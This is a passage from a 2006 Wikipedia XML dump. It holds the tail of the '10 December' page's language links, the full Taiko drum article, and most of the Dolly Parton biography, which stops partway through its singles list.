[[bg:10 декември]]
[[be:10 сьнежня]]
[[bs:10. decembar]]
[[ca:10 de desembre]]
[[ceb:Disyembre 10]]
[[cv:Раштав, 10]]
[[co:10 di decembre]]
[[cs:10. prosinec]]
[[cy:10 Rhagfyr]]
[[da:10. december]]
[[de:10. Dezember]]
[[et:10. detsember]]
[[el:10 Δεκεμβρίου]]
[[es:10 de diciembre]]
[[eo:10-a de decembro]]
[[eu:Abenduaren 10]]
[[fo:10. desember]]
[[fr:10 décembre]]
[[fy:10 desimber]]
[[ga:10 Nollaig]]
[[gl:10 de decembro]]
[[ko:12월 10일]]
[[hr:10. prosinca]]
[[io:10 di decembro]]
[[id:10 Desember]]
[[ia:10 de decembre]]
[[is:10. desember]]
[[it:10 dicembre]]
[[he:10 בדצמבר]]
[[jv:10 Desember]]
[[ka:10 დეკემბერი]]
[[csb:10 gòdnika]]
[[ku:10'ê berfanbarê]]
[[la:10 Decembris]]
[[lt:Gruodžio 10]]
[[lb:10. Dezember]]
[[hu:December 10]]
[[mk:10 декември]]
[[ms:10 Disember]]
[[nap:10 'e dicembre]]
[[nl:10 december]]
[[ja:12月10日]]
[[no:10. desember]]
[[nn:10. desember]]
[[oc:10 de decembre]]
[[pl:10 grudnia]]
[[pt:10 de Dezembro]]
[[ro:10 decembrie]]
[[ru:10 декабря]]
[[se:Juovlamánu 10.]]
[[sco:10 December]]
[[sq:10 Dhjetor]]
[[scn:10 di dicèmmiru]]
[[simple:December 10]]
[[sk:10. december]]
[[sl:10. december]]
[[sr:10. децембар]]
[[fi:10. joulukuuta]]
[[sv:10 december]]
[[tl:Disyembre 10]]
[[tt:10. Dekäber]]
[[te:డిసెంబర్ 10]]
[[th:10 ธันวาคม]]
[[vi:10 tháng 12]]
[[tr:10 Aralık]]
[[uk:10 грудня]]
[[wa:10 di decimbe]]
[[war:Disyembre 10]]
[[zh:12月10日]]
[[pam:Disiembri 10]]</text>
    </revision>
  </page>
  <page>
    <title>Taiko</title>
    <id>8715</id>
    <revision>
      <id>41795035</id>
      <timestamp>2006-03-01T20:24:20Z</timestamp>
      <contributor>
        <username>Iustinus</username>
        <id>148537</id>
      </contributor>
      <comment>moved &quot;other uses&quot; section to top</comment>
      <text xml:space="preserve">:''The unrelated word '''Taik&amp;#333;''' (&amp;#22826;&amp;#38308;) is a title given to a retired ''[[Sessho and Kampaku]]'' regent in Japan. In a narrow sense, taik&amp;#333; would refer to [[Toyotomi Hideyoshi]], a more common usage.''
[[Image:TaikoDrummersAichiJapan.jpg|thumb|Taiko drummers in Aichi, Japan]]

The word '''taiko''' (&amp;#22826;&amp;#40723;) means simply &quot;great [[drum]]&quot; in [[Japanese language|Japanese]].  Outside Japan, the word is often used to refer to any of the various Japanese drums (&amp;#21644;&amp;#22826;&amp;#40723;, 'wa-daiko', &quot;Japanese drum&quot;, in Japanese) and to the relatively recent art-form of ensemble taiko drumming (sometimes called more specifically, &quot;kumi-daiko&quot; (&amp;#32068;&amp;#22826;&amp;#40723;).

==Types of taiko==
[[Image:Taiko drum manufacturing.jpg|thumb|200px|Display of the manufacturing of a Taiko drum]]

The nagado-daiko (&amp;#38263;&amp;#33012;&amp;#22826;&amp;#40723;, long-body taiko) consists of two pieces of cow hide stretched over a wooden body (traditionally carved from a single piece, now often made from the stays of a barrel) and tacked to high tension.  The heads of the tsukeshime-daiko (&amp;#20184;&amp;#32224;&amp;#12417;&amp;#22826;&amp;#40723;, often shortened to simply, &quot;shime-daiko&quot; or &quot;shime&quot;) are stretched over iron rings and sandwiched around a smaller body.  The tsukeshime-daiko's rope is pulled tight before each use.  The okedo-daiko (&amp;#26742;&amp;#33012;&amp;#22826;&amp;#40723;, barrel-body taiko, often shortened to &quot;okedo&quot; or &quot;oke&quot;) can be set on a stand and played like other taiko, but is usally strapped over the shoulder so the drummer can walk and play at the same time. Other Japanese taiko include the uchiwa-daiko (&amp;#20869;&amp;#36650;&amp;#22826;&amp;#40723;&amp;#12289;fan taiko), hira-daiko (&amp;#24179;&amp;#22826;&amp;#40723;, flat taiko), o-daiko (&amp;#22823;&amp;#22826;&amp;#40723;, big taiko), and a host of percussion instruments used in Japan's traditional [[noh]], [[gagaku]], and [[kabuki]] ensembles.

[[Image:Giant Taiko Drum Nagoya.jpg|thumb|250px|Giant Taiko drum, with a length of 240cm, a maximum diameter of 240cm, and a weight of 3 tons. Made out of a single piece of wood of a 1200 year old tree]]
The okedo-daiko drums range from small and easy to carry, up to the largest drum of all Japanese drums. Unlike the nagado, this drum can be made in many sizes but NOT in any size due to its stave wooden construction. 

The Aomori region is famous for the Nebuta festival where huge okedo are played by many people while carted through the streets. 
The Okedo has its own betta stand which was invented by Hayashi Eitetsu.

Again, like the nagado-daiko, the okedo has a rim sound, called &quot;ka.&quot; When playing the rim of an okedo, however, it is important to only hit the outermost metal ring and not the actual rim of the drum body. The thin, light wood of the okedo is particularly susceptible to denting and will quickly deteriorate if hit.


==Uses of the Taiko in Warfare==
In feudal Japan, ''taiko'' were often used to motivate troops, to help set a marching pace, and to call out orders or announcements. Approaching or entering a battle, the ''taiko yaku'' (drummer) was responsible for setting the marching pace, usually with six paces per beat of the drum (beat-2-3-4-5-6, beat-2-3-4-5-6).

According to one of the historical chronicles (the ''Gunji Yoshu''), nine sets of five beats would summon an ally to battle, while nine sets of three beats, sped up three or four times is the call to advance and pursue an enemy.

== Related Terms ==

; [[Bachi]] : the wooden sticks used to play taiko drums. (See separate entry for additional details.)
; [[Jiuchi|Ji]] : also called ''Jiuchi'', it is a basic rhythm used to support the main rhythm, or the ''O-uchi''. It can also be described as the meter or feel of a piece (being in a straight duple meter or having a swing feel). Some of the more common rhythms for ji are ''don doko'', ''don ko'', or ''don'' ''go'' (swing pattern). A ''Jikata'' is a performer who plays the ji rhythm.
; Ma : a Japanese term for &quot;space&quot;, it is used in music to describe a period of silence.  In taiko drumming, ma is the period between hits on the drum.  It is  important to appreciate this silence when playing taiko, just as you would appreciate the sound of a hit on the drum.  Since ensemble taiko is focused on rhythm,  the ma of a piece is critical to adding drama, excitement, and tension.  Ma can be a rhythmic rest, or an  extended silence, to be broken at the player's discretion.  If the player concentrates on hearing the ma between each hit, in addition to the hits themselves, he or she will create a much more effective and satisfying sound. A good example of how ma is used is in ''oroshi.''  
; Oroshi : is characterized by a series of hits on the taiko.  The player starts out slowly with lots of ma. Gradually the ma (time) between each hit becomes shorter and shorter, until the drummer is playing a rapid roll of hits. &lt;!--This could be expanded upon and made a separate entry--&gt;

==See also==
* [[Music of Japan#Taiko|Music of Japan]] for some history of taikos.
* [[Kuchi shoga]], a system used to 'pronounce' taiko sounds.
* ''[[Taiko: Drum Master]]'' (aka ''Taiko no tatsujin'') is a drumming game for the [[PlayStation 2]]

==External links==
===General resources===
* [http://www.kumidaiko.com Kumidaiko.com - Taiko News]
* [http://www.kuni-net.com/index.html Kuni's Taiko Resource]
* [http://www.taiko.com Rolling Thunder]

===Groups in Japan===
* [http://www.wadaikoworld.net/ArtLee/index.html Art Lee]
* [http://www.kodo.or.jp Kodo]
* [http://www.oedosukerokutaiko.com/english-1.html Oedo Sukeroku Daiko]
* [http://www.shidara.co.jp Shidara]
* [http://www.drum-tao.com TAO]
* [http://www.tokara.net Tokara]
* [http://www.yamato.jp Wadaiko Yamato]

===Groups in the U.S.===
* [http://www.asayaketaiko.com Asayake Taiko] ([[University of California, San Diego]])
* [http://www.fushudaiko.com Fushu Daiko] (southern [[Florida]])
* [http://www.jodaiko.com Jodaiko] ([[University of California, Irvine]])
* [http://www.kazedaiko.com Kaze Daiko] ([[Seattle, Washington]])
* [http://www.kennyendo.com Kenny Endo] ([[Hawaii]])
* [http://www.studentgroups.ucla.edu/kyodo/ Kyodo Taiko] ([[University of California, Los Angeles]])
* [http://www.taikoaz.com/ Fushicho Daiko] ([[Phoenix, Arizona]])
* [http://www.tucsontaiko.org/ Odaiko Sonora] ([[Tucson, Arizona]])
* [http://www.onensemble.org On Ensemble] ([[Los Angeles, California]])
* [http://www.portlandtaiko.org Portland Taiko] ([[Portland, Oregon]])
* [http://stlouis.osuwa.taiko.cc St. Louis Osuwa Taiko] ([[St. Louis, Missouri]])
* [http://www.taikodojo.org San Francisco Taiko Dojo] ([[San Francisco, California]])
* [http://www.taiko.org San Jose Taiko] ([[San Jose, California]])
* [http://www.senryutaiko.com Senryu Taiko] ([[University of California, Riverside]])
* [http://taiko.stanford.edu Stanford Taiko] ([[Stanford University]])
* [http://www.sohdaiko.org Soh Daiko] ([[New York, New York]])
* [http://www.taikoproject.com TAIKOPROJECT] ([[Los Angeles, California]])
* [http://www.zendeko.org Zendeko] ([[Los Angeles, California]])
* [http://www.sandiegotaiko.org San Diego Taiko] ([[San Diego, California]])
* [http://www.smokinbachi.com Smokin' Bachi Taiko] ([[Santa Fe, New Mexico]])
* [http://www.concentric.net/~masaf/Taiko.htm Eden Aoba Taiko] ([[San Lorenzo, California]])

===Groups in Canada===
* [http://www.kataritaiko.bc.ca/ Katari] ([[Vancouver, British Columbia]])
* [http://www.todorokitaiko.com Todoroki Taiko] ([[Calgary, Alberta]])
* [http://www.uzume.com Uzume Taiko] ([[Vancouver, British Columbia]])
* [http://www.yakudo.com/ Yakudo] ([[Toronto, Ontario]])
* [http://www.ragingasianwomen.ca/ Raging Asian Women (RAW)] ([[Toronto, Ontario]])

===Groups in the UK===
* [http://www.kagemusha.com/ Kagemusha Taiko] ([Exeter])
* [http://www.mugenkyo.com/ Mugenkyo] ([[Strathaven]], [[Lanarkshire]], [[Scotland]])
* [http://www.taikomeantime.com/ Taiko Meantime] ([London])
* [http://www.tamashiidaiko.com/ Tamashii Daiko] ([[London]])

===VIDEO===

*[http://robpongi.com/pages/comboMUSASHINOLO.html Musashino Summer Festival 2001 Video]

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  <page>
    <title>Dolly Parton</title>
    <id>8716</id>
    <revision>
      <id>41879054</id>
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      <text xml:space="preserve">{{Infobox Band
| band_name         = Dolly Parton
| image             = [[Image:Dolly Parton in Nashville april 2005.jpg|200px|Dolly Parton in April 2005]]
| caption           = Dolly Parton in April 2005.
| years_active      = 1959&amp;ndash;present
| origin            = [[Sevierville, Tennessee]]
| music_genre       = [[Pop music|Pop]], [[country music|country]], [[bluegrass]], [[folk music|folk]]
| instruments       = [[guitar]], [[banjo]], [[autoharp]] 
| record_label      = [[Goldband]] &lt;small&gt; (1959)&lt;/small&gt; &lt;br&gt;[[Mercury Records|Mercury]] &lt;small&gt; (1962)&lt;/small&gt; &lt;br&gt;[[Somerset]] &lt;small&gt; (1963)&lt;/small&gt; &lt;br&gt;[[Monument]] &lt;small&gt;(1965&amp;ndash;1967)&lt;/small&gt; &lt;br&gt;[[RCA]] &lt;small&gt;(1967&amp;ndash;1985)&lt;/small&gt; &lt;br&gt;[[Warner Brothers]] &lt;small&gt;(1987)&lt;/small&gt; &lt;br&gt;[[Columbia Records|Columbia]] &lt;small&gt;(1987&amp;ndash;1995)&lt;/small&gt; &lt;br&gt; [[Rising Tide]] &lt;small&gt; (1996&amp;ndash;1997)&lt;/small&gt; &lt;br&gt;[[Decca Records|Decca]] &lt;small&gt;(1998)&lt;/small&gt; &lt;br&gt;[[Asylum]] &lt;small&gt;(1999)&lt;/small&gt; &lt;br&gt; [[Sugar Hill Records (folk)|Sugar Hill Records]] &lt;small&gt;(1999&amp;ndash;present)&lt;/small&gt; &lt;br&gt;
}}
'''Dolly Parton''' (born [[January 19]], [[1946]]) is an [[United States|American]] [[country music|country]] [[singer]], [[songwriter]], [[composer]], author and [[Actor|actress]].

She was born '''Dolly Rebecca Parton''' in [[Sevierville, Tennessee]], the fourth of twelve children born to Robert Lee Parton and Avie Lee Owens, and grew up &quot;dirt poor&quot; in a rustic one-room cabin in the [[Smoky Mountains]], also described as a &quot;run-down farm&quot; near Locust Ridge. Her siblings are Willadeene Parton (a poet), David Parton, Denver Parton, Bobby Parton, [[Stella Parton]] (a singer), Cassie Parton, Larry Parton (who died shortly after birth), Randy Parton (a singer), twins Floyd Parton (a songwriter) and Freida Parton, and [[Rachel Dennison]] (an actress).

Parton  was raised [[Assembly of God]], a [[Pentecostal]] [[religious denomination|denomination]], and music was a very large part of her church experience. She once told an interviewer that her grandfather was a Pentecostal &quot;[[Holy Roller]]&quot; preacher and today, when appearing in live concerts, she frequently performs spiritual songs. Parton, however, professes no denomination, claiming only to be [[Christianity|Christian]] while adding that she believes that all Earth's peoples are God's children. 

She began her entertainment [[career]] as a child, singing on local [[radio programming|radio]] and [[television program|television]] in [[East Tennessee]]. At age 12 she was appearing on [[Knoxville, Tennessee|Knoxville]] TV, and at 13 she was recording on a small [[record label|label]] and appearing at the [[Grand Ole Opry]] in [[Nashville, Tennessee|Nashville]]. When she graduated from high school in [[1964]] she moved to Nashville, taking many traditional folkloric elements and popular music from East Tennessee with her.

On [[May 30]], [[1966]], at the age of 20, she married Carl Dean, who ran an asphalt-paving business (whom she met upon her first day in Nashville two years earlier), in [[Ringgold, Georgia]]. She has remained with Dean, who has always shunned publicity and stayed in the background to an extraordinary degree, refusing to accompany his wife to almost every public appearance she has made since their marriage. Her extramarital relationships have been the subject of tabloid speculation for decades, with her heterosexuality often being questioned. When asked once, &quot;Do you love women?&quot; she replied &quot;Yes, my mother was a woman.&quot;

==Early career==
Parton's initial success came as a songwriter, with her songs being covered by [[Kitty Wells]], [[Hank Williams, Jr.]], [[Skeeter Davis]], and a number of others. She signed with [[Monument Records]] in late [[1965]], where she was initially pitched as a bubblegum pop singer, earning only one national chart single, &quot;Happy, Happy Birthday Baby,&quot; which made it to No. 8 on the Billboard Bubbling Under The Hot 100 chart, the equivalent of No. 108 pop. (Although the song missed the Hot 100 pop chart, Bubbling Under is still one of the major Billboard charts. Thus, this technically was her first &quot;chart single,&quot; even though it wasn't a pop &quot;hit.&quot;) 

After a series of additional pop singles that failed to chart, label executives decided to allow her to sing country music after the success of her composition &quot;Put It Off Until Tomorrow&quot; as recorded by Bill Phillips. With Parton singing uncredited harmony on the single, Phillips' version of her song went to No. 6 on the country charts in [[1966]]. Her first country single, &quot;Dumb Blonde&quot; (one of the few songs she recorded during this period that she herself did ''not'' write), reached No. 24 country [[1967 in music|1967]], followed later the same year with &quot;Something Fishy,&quot; which went to No. 17. The two songs anchored her first full-length album, ''Hello I'm Dolly'', that same year. (She had previously contributed vocals to a compilation album, ''Hits Made Famous by Country Queens'', in late [[1963]] on the now defunct Somerset label.)

[[image:DollyPorter.jpg|left|thumb|Porter Wagoner and Dolly Parton: &quot;Just Between You and Me,&quot; RCA, 1967]]
Late in that same year, Parton was asked to join the weekly syndicated country music TV program hosted by [[Porter Wagoner]], replacing [[Norma Jean (singer)|Norma Jean]] who was semi-retiring. She also signed with [[RCA|RCA Records]], Wagoner's label, during this period, where she would remain for the next two decades.  Wagoner and Parton immediately began a hugely successful career as a vocal duet in addition to their solo work and their first single together, a cover of [[Tom Paxton]]'s &quot;[[The Last Thing on My Mind]],&quot; reached the top ten on the [[United States|U.S.]] country [[Billboard magazine|charts]] in late 1967, and was the first of over a dozen duet singles to chart for them during the next several years.

Parton is a hugely successful songwriter, having begun by writing country songs with strong elements of [[folk music]] in them based upon her upbringing in humble mountain surroundings. Her songs &quot;[[Coat of Many Colors]]&quot; and &quot;[[Jolene]]&quot; have become classics in the field, as have a number of others.  As a composer, she is also regarded as one of country music's most gifted storytellers, with many of her narrative songs based on persons and events from her childhood.

[[image:LoveisLikeaButterfly.jpg|right|thumb|''Love is Like a Butterfly'', RCA, 1974]]
She stayed with the Wagoner show and continued to record duets with him for seven years, then made a break to become a solo artist.  In [[1974 in music|1974]], her song &quot;[[I Will Always Love You]]&quot; was released and went to #1 on the country charts, though the single did not &quot;crossover&quot; to the pop charts (as &quot;Jolene&quot; had done). Around the same time, [[Elvis Presley]] indicated that he wanted to cover the song. Parton was interested until Presley's manager, [[Colonel Tom Parker]], told her that she would have to sign over half of the publishing rights if Elvis recorded the song (as was the standard procedure for songs Elvis recorded).  Parton refused and that decision is credited with helping make her many millions of dollars in royalties from the song over the years.

During the mid-1970s, Parton had her eyes set on expanding her audience base. The first step towards meeting this goal was her attempt a variety show, ''[[Dolly (1976 TV series)|Dolly]]''. Even though it had high ratings, the show lasted merely one season, with Parton asking out of her contract due to the stress it was causing her vocal chords.

==Breakout==
Despite originally being typecast in many circles as a &quot;Country and Western&quot; singer, Parton later had even greater commercial success as a [[pop music|pop]] singer and actress. Her [[1977 in music|1977]] album &quot;[[Here You Come Again]]&quot; was her first million-seller, and the title track became her first top-ten single on the pop charts; many of her subsequent singles charted on both pop and country charts simultaneously.  Her albums during this period were more tightly produced and were designed specifically for pop/crossover success.

[[image:Tv_sesame_street_polly_darton.jpg|left|thumb|Polly Darton, a character appearing on ''[[Sesame Street]]'' in the 1980s]]
In [[1980 in film|1980]], [[Jane Fonda]] decided Parton was a perfect candidate for her upcoming [[film]], ''[[Nine to Five|9 to 5]]''. She was looking for a brassy [[Southern United States|Southern]] woman for a supporting role and felt the singer was perfect. Parton was signed, and went on to steal the notices and score a major hit with the title song.

She wrote and performed &quot;9 to 5&quot; which earned her an [[Academy Award]] nomination for [[Academy Award for Best Song|Best Original Song]]. She received a [[Golden Globe Award|Golden Globe]] nomination for Best Original Song - Motion Picture. And she won two [[Grammy Award]]s, for Best Female Country Vocal Performance and Best Country Song. It reached #1 on the [[Billboard Hot 100]] and was also #78 on [[American Film Institute]]'s 100 years, 100 songs.

She also received Golden Globe nominations for Best Motion Picture Actress - Musical/Comedy and New Star of the Year in a Motion Picture - Female.

Parton's other films include ''[[The Best Little Whorehouse in Texas]]'' ([[1982 in film|1982]]), for which she received another Golden Globe nomination, and ''[[Steel Magnolias]]''.

In [[1982 in music|1982]], she recorded a second version of &quot;I Will Always Love You&quot; for ''The Best Little Whorehouse in Texas''; the second version proved to be another #1 country hit and also managed to reach the pop charts, going to #53 in the [[United States]].

In [[1986 in music|1986]], she was inducted into the [[Nashville Songwriters Hall of Fame]].

The following year, along with [[Emmylou Harris]] and [[Linda Ronstadt]], she released the decade-in-the-making [[Trio (album)|Trio]] album to critical acclaim (a second collaboration, &quot;Trio II&quot;, would be released in 1999).  Also in [[1987 in music|1987]], Parton switched record labels, moving from RCA to [[Columbia Records]], and took a second stab at her own TV [[variety show]], also titled ''[[Dolly (TV series)|Dolly]]'', which lasted only one season.  Ratings started strong but quickly fell.  

[[Image:Tv_snl_dolly_parton.jpg|thumb|right|Dolly Parton hosting ''[[Saturday Night Live]]'' in 1989]]
Parton has also done voice work for [[animation]], playing herself in the TV series ''[[Alvin &amp; the Chipmunks]]'' (episode: ''Urban Chipmunk'') ([[1987 in television|1987]]) and her voice role as Katrina Eloise &quot;Murph&quot; Murphy in ''[[The Magic School Bus]]'' (episode: ''The Family Holiday Special'') ([[1994 in television|1994]]).

Standing at an even 5 feet tall (152 [[centimeter|cm]]), Parton's physical trademark is her large [[breasts]]; her petite dimensions elsewhere accentuate her large bosom. She has often mocked this reputation with quips such as &quot;I would have burned my bra in the 60s, but it would have taken the fire department three days to put it out,&quot; or &quot;The reason I have a small waist and small feet is that nothing grows well in the shade.&quot; In 1989 when she guest-hosted [[Saturday Night Live]], she participated in a [[Self-deprecation|self depreciating]] [[sketch comedy|sketch]] that [[parodied]] Sci-Fi [[exploitation films]]: an alien race of excessively large-breasted women teased her about the fact that her breasts were comparatively small, &quot;merely the size of melons.&quot; In 1994, she told Vogue magazine that her measurements were 40-20-36. [http://www.dollymania.net/faq.html#016] And she has publicly denied the often-reported allegation that her chest is insured for $600,000. 

In 1992, &quot;I Will Always Love You&quot; was performed by [[Whitney Houston]] on ''[[The Bodyguard]]'' soundtrack. Houston's version became the best-selling hit ever written and performed by a female vocalist, with worldwide sales of 12,000,000. As Parton owned the song, she raked in huge profits from Houston's cover. The song was also covered by music legend [[Kenny Rogers]] on his [[1997 in music|1997]] album &quot;Always and Forever,&quot; which sold over 4 million copies worldwide, as well as by Leanne Rimes.  Melissa Etheridge covered the song on a tribute album to Parton.

In [[1993]], she teamed up with fellow [[country music|country music queens]] [[Loretta Lynn]] and [[Tammy Wynette]] to record the ''Honky Tonk Angels'' album. 

Parton's last lead role in a theatrical film was in [[1992 in film|1992]]'s ''[[Straight Talk]]'', opposite [[James Woods]]. She played the plainspoken host of a radio program that has people phoning-in with problems.  The film, while not a blockbuster, did respectably well upon its release.  She later played an overprotective mother in ''[[Frank McKlusky, C.I.]]'' with [[Dave Sheridan]], [[Cameron Richardson]], and [[Randy Quaid]].

After Parton (in common with many other performers of her generation) was dropped from country radio stations' playlists in the mid-[[1990s]], she rediscovered her roots by recording a series of critically acclaimed [[Bluegrass music|bluegrass]] albums, beginning with &quot;The Grass is Blue&quot; (1999) and &quot;Little Sparrow&quot; ([[2001 in music|2001]]), both of which won Grammy Awards. Her [[2002 in music|2002]] album &quot;[[Halos and Horns]]&quot; included a bluegrass version of the [[Led Zeppelin]] classic [[Stairway to Heaven]].  In 2005, Parton released ''Those Were The Days'', her interpretation of hits from the folk-rock era of the late 1960s through early 1970s.  The CD featured such classics as [[John Lennon]]'s &quot;Imagine,&quot; [[Cat Stevens]]' &quot;Where Do The Children Play,&quot; [[Tommy James]]' &quot;Crimson &amp; Clover,&quot; and the folk classic &quot;Where Have All The Flowers Gone&quot;, as well as the title track.

==Business==
Parton invested much of her earnings into business ventures in her native East Tennessee, notably [[Pigeon Forge, Tennessee|Pigeon Forge]], which includes a theme park named [[Dollywood]] and a dinner show called ''[[Dolly Parton's Dixie Stampede]]''.  The area is a thriving tourist attraction, drawing visitors from large parts of the Southeastern and Midwestern United States. This region of the U.S., like most areas of [[Appalachia]], has suffered economically for decades; Parton's business investment there allow her to put something back into the community where she was born and raised.

She also owns [[Sandollar Productions]], a film and television production company, which produced the Fox TV Show &quot;[[Babes]]&quot; and ''[[Buffy the Vampire Slayer]]'' and the features &quot;Father of the Bride I &amp; II&quot;, , &quot;[[Straight Talk]]&quot;, &quot;Sabrina&quot; and Academy Award-winning (for Best Documentary) Common Threads: Stories From The Quilt amongst other shows.  [[Sanddollar]] is co-owned by [[Sandy Gallin]], former manager and openly gay long-time friend of Dolly's.

[[Image:DollyPartonTheRiverUnbrokensingle.jpg|thumb|left|Dolly Parton in 1987]]
She has reportedly turned down several offers to pose for ''[[Playboy]]'' magazine and similar publications; however, she jokes that she told Playboy she would pose naked -- on her 100th birthday. [[Russ Meyer]] wanted to make movies about her breasts. Although she has admitted over the years to having a great deal of [[Plastic surgery|cosmetic surgery]], it wasn't until 2002 that she admitted to having breast implants. However, she says she didn't get them until she lost a great deal of weight in the mid-1980s, because as a result of the weight loss she had lost a great deal of now-famous bosom. [http://www.dollymania.net/faq.html#013]

Parton, alongside [[Johnny Cash]] and [[Willie Nelson]], is one of the few country stars to be admired and acclaimed by [[Fan (aficionado)|fans]] from all walks of life. She said that she has long admired the look of some outcasts from society (such as prostitutes, whose long fingernails and big blonde wigs inspired her).  She is an icon in the [[gay]] community, and is often portrayed by [[drag queens]].  She has said that if she were not born a woman, she would be a drag-queen.

Her music of the late [[1990s]] and beyond has moved towards bluegrass and more traditional folk styles, resulting in a second wind of critical and commercial success.

== In Concert ==

Parton toured extensively from the late 1960s until the early 1990s.  Since the early 1990s, Parton's concert appearances were primarily limited to one weekend a year at her [[Dollywood]] theme park benefiting her [[Dollywood Foundation]]. After a decade long absence from touring, Parton decided to hit the road in 2002 with an 18-city, intimate club tour to promote the &quot;Halos &amp; Horns&quot; CD.  The House of Blues Entertainment, Inc. produced show sold out all of its U.S. and European dates (her first in two decades). In 2004, she returned to mid-sized stadium venues in 36 cities in the US and Canada with her &quot;Hello I'm Dolly&quot; tour, a glitzier, more elaborate stage show than two years earlier. With nearly 140,000 tickets sold, the &quot;Hello I'm Dolly&quot; tour was the tenth-biggest country tour of the year and grossed more than $6 million. In late 2005 Parton completed a 40-city tour with &quot;The Vinatage Tour&quot; promoting her new album, ''Those Were The Days''.

==Motion Pictures==

Although Dolly Parton has made only a handful of films, she has had great success within the industry.   Her first two films [[9 to 5]] and [[The Best Little Whorehouse in Texas]] were blockbuster hits (despite mediocre reviews for the latter) and earned Parton the Top Female Box Office Star title from [[Motion Picture Herald]] in both 1981 and 1982.  

Parton has twice been nominated for the [[Academy Award]] for Best Original Song, for &quot;9 to 5&quot; from the movie of the same name in 1980, and for &quot;Travelin' Thru&quot; from [[Transamerica]] in 2005.  She is considered the front-runner in this category and if proves successful she will become the first country music artist to win an [[Academy Award|Oscar]].

Dolly is a lifelong fan of [[Mae West]] and has tried for years to get a film starring her as that old busty blonde legend off the ground.

==Honors== [http://www.dollymania.net/awards.html]
Parton is perhaps the most-honored female country performer of all time. She holds 25 U.S. gold, platinum and multi-platinum honors from the RIAA. She has seen 24 songs reach No. 1 on the Billboard country charts, a record for a female artist. She has 41 career top 10 country albums, a record for any artist, and 110 career charted singles over the past 40 years. All inclusive sales of singles, albums, hit's collections, paid digital downloads and compilation usage during Parton's career have reportedly reached 100 million records around the world.

She has received seven Grammy Awards and a total of 42 Grammy nominations. In the American Music Awards, she has taken home the AMA trophy three times but seen 18 nominations. At the Country Music Association, she has received 10 awards and 42 nominations. At the Academy of Country Music, she has been given five awards and 36 nominations. 

Parton has been nominated for two [[Academy Awards]]. In 1981, she was nominated for Best Original Song for &quot;9 to 5&quot; from the film of the same name. In 2006, she was nominated again in the same category for the song &quot;Travelin' Thru&quot; from the film [[Transamerica]]. She has been nominated for an [[Emmy]] Award. She has received five [[Golden Globe]] nominations. 

She has a star on the [[Hollywood Walk of Fame]] for Recording at 6712 Hollywood Boulevard in [[Hollywood, California|Hollywood]], awarded in 1984; a star on the Nashville Star Walk for Grammy winners; and a bronze sculpture on the courthouse lawn in Sevierville, Tennessee.

She was inducted into the Grand Ole Opry in 1969. In 1986, she was named one of Ms. Magazine's Women of the Year. She was given an honorary doctorate from Carson-Newman College in 1990. 

In 1999, Parton received country music's highest honor, induction into the Country Music Hall of Fame. This was followed by induction into the National Academy of Popular Music/Songwriters Hall of Fame in 2001.

She was honored in 2003 with a tribute album called ''Just Because I'm a Woman:  Songs of Dolly Parton''. The artists who recorded versions of Parton's songs included [[Melissa Etheridge]] (&quot;I Will Always Love You&quot;), [[Alison Krauss]] (&quot;9 to 5&quot;), [[Shania Twain]] (&quot;Coat of Many Colors&quot;), [[Me'shell Ndegeocello|Me'Shell NdegéOcello]] (&quot;Two Doors Down&quot;), [[Norah Jones]] (&quot;The Grass is Blue&quot;), and [[Sinéad O'Connor]] (&quot;Dagger Through the Heart&quot;); Parton herself contributed a rerecording of the title song, originally the title song for her first RCA album in 1968.

Parton was awarded the [[Living Legend medal]] by the U.S. [[Library of Congress]] on [[April 14]], [[2004]], for her contributions to the cultural heritage of the United States.  This was followed in [[2005 in art|2005]] with the [[National Medal of Arts]], the highest honor given by the U.S. government for excellence in the arts.

Her efforts to preserve the bald eagle through the American Eagle Foundation's sanctuary at Dollywood earned her the Partnership Award from the U.S. Fish and Wildlife Service in 2003. And her national literacy program, Dolly Parton's Imagination Library, has resulted in her receiving the Association of American Publishers' AAP Honors in 2000, Good Housekeeping's Seal of Approval in 2001 (the first time the seal had been given to a person), the American Association of School Administrators' Galaxy Award in 2002, Chasing Rainbows Award from the National State Teachers of the Year in 2002, and Child and Family Advocacy Award from the Parents As Teachers National Center in 2003. The program distributes more than 2.5 million free books to children annually across more than 40 states.

She is one of only five solo women (others include [[Reba McEntire]], [[Barbara Mandrell]], [[Shania Twain]], and [[Loretta Lynn]]), to win the [[Country Music Association]]'s highest honor, &quot;Entertainer Of The Year&quot;

==Hit singles (top 40 pop/top 10 country)== [http://www.dollymania.net/chartb.html]
*[[1967 in music|1967]] &quot;[[The Last Thing on My Mind]]&quot; (with Porter Wagoner) (#7 COUNTRY)
*[[1968 in music|1968]] &quot;Holdin' On To Nothing&quot; (with Porter Wagoner) (#7 COUNTRY)
*[[1968 in music|1968]] &quot;We'll Get Ahead Someday&quot; (with Porter Wagoner) (#5 COUNTRY)
*[[1969 in music|1969]] &quot;Yours Love&quot; (with Porter Wagoner) (#9 COUNTRY)
*[[1969 in music|1969]] &quot;Just Someone I Used to Know&quot; (with Porter Wagoner) (#7 COUNTRY)
*[[1969 in music|1969]] &quot;Tomorrow Is Forever&quot; (with Porter Wagoner) (#9 COUNTRY)
*[[1970 in music|1970]] &quot;[[Mule Skinner Blues]]&quot; (#3 COUNTRY)
*[[1970 in music|1970]] &quot;Daddy Was An Old Time Preacher Man&quot; (with Porter Wagoner) (#7 COUNTRY)
*[[1970 in music|1970]] &quot;[[Joshua (song)]]&quot; #108 U.S. (#1 COUNTRY)
*[[1971 in music|1971]] &quot;Better Move it On Home&quot; (with Porter Wagoner) (#7 COUNTRY)
*[[1971 in music|1971]] &quot;[[Coat of Many Colors (album)]]&quot; (#4 COUNTRY)
*[[1972 in music|1972]] &quot;Touch Your Woman&quot; (#6 COUNTRY)
*[[1972 in music|1972]] &quot;Lost Forever in Your Kiss&quot; (with Porter Wagoner) (#9 COUNTRY)
*[[1973 in music|1973]] &quot;If Teardrops Were Pennies&quot; (with Porter Wagoner) (#3 COUNTRY)
*[[1974 in music|1974]] &quot;[[Jolene]]&quot; #60 U.S., #7 U.K. (#1 COUNTRY)
*[[1974 in music|1974]] &quot;[[I Will Always Love You]]&quot; (#1 COUNTRY)
*[[1974 in music|1974]] &quot;Please Don't Stop Loving Me&quot; (with Porter Wagoner) (#1 COUNTRY)
*[[1974 in music|1974]] &quot;Love Is Like A Butterfly&quot;(#1 COUNTRY)
*[[1975 in music|1975]] &quot;The Bargain Store&quot; (#1 COUNTRY)
*[[1975 in music|1975]] &quot;The Seeker&quot; (#2 COUNTRY)
